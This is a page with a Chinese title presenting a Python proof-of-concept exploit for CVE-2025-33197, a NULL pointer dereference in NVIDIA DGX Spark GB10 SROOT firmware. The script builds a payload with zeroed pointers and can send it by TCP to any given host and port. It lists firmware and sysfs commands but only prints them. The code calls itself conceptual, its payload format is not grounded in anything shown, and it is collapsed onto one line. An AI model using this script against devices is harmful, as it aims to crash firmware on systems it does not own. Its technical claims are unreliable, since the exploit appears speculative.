CVE-2025-33197: NVIDIA DGX Spark GB10 SROOT固件NULL指针解引用漏洞

#!/usr/bin/env python3 """ CVE-2025-33197 PoC - NVIDIA DGX Spark GB10 SROOT Firmware NULL Pointer Dereference This PoC demonstrates the NULL pointer dereference vulnerability in NVIDIA DGX Spark GB10 SROOT firmware. Note: This is a conceptual PoC for educational purposes. Actual exploitation requires physical/local access to the device. """ import struct import sys def create_malicious_payload(): """ Generate a malicious payload designed to trigger NULL pointer dereference in SROOT firmware by manipulating firmware configuration data structures. """ # Firmware header structure header = bytearray() # Magic number for firmware identification header += b'SROOT' # 5 bytes # Version field - set to trigger vulnerable code path header += struct.pack('<I', 0x00000001) # 4 bytes - version # Flags - set NULL pointer trigger flag header += struct.pack('<I', 0x00000001) # 4 bytes - flags # Configuration data that triggers NULL pointer dereference # Setting pointer offset to 0x00000000 (NULL) config_data = bytearray() config_data += struct.pack('<I', 0x00000000) # NULL pointer offset config_data += struct.pack('<I', 0x00000000) # NULL function pointer config_data += struct.pack('<I', 0x41414141) # Padding header += config_data # Checksum for integrity verification (placeholder) checksum = sum(header) & 0xFFFFFFFF header += struct.pack('<I', checksum) return bytes(header) def send_firmware_payload(payload, target_ip='192.168.1.100', port=5000): """ Send malicious firmware payload to target device. Note: Requires appropriate network access and device configuration. """ try: import socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, port)) sock.send(payload) sock.close() print(f"[+] Payload sent successfully to {target_ip}:{port}") return True except Exception as e: print(f"[-] Failed to send payload: {e}") return False def trigger_via_local_access(): """ Trigger vulnerability via local device access. Requires: Physical or SSH access to NVIDIA DGX Spark GB10 device. """ print("[*] Attempting to trigger NULL pointer dereference via local access...") print("[*] This requires access to device shell/serial console") # Commands that could trigger the vulnerable code path commands = [ "fw_setenv malicious_config 0x00000000", "cat /proc/device-tree/firmware/sroot/config", "echo 'trigger' > /sys/firmware/sroot/debug" ] for cmd in commands: print(f"[*] Executing: {cmd}") print("[!] Note: Actual exploitation requires specific device configuration") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-33197 PoC - NVIDIA DGX Spark GB10 SROOT NULL Pointer Dereference") print("=" * 60) payload = create_malicious_payload() print(f"[*] Generated payload ({len(payload)} bytes)") print(f"[*] Payload hex: {payload.hex()}") if len(sys.argv) > 1: if sys.argv[1] == "--remote" and len(sys.argv) > 3: send_firmware_payload(payload, sys.argv[2], int(sys.argv[3])) elif sys.argv[1] == "--local": trigger_via_local_access() else: print("\nUsage:") print(" python3 poc.py --local # Demonstrate local trigger method") print(" python3 poc.py --remote <ip> <port> # Send payload to remote device")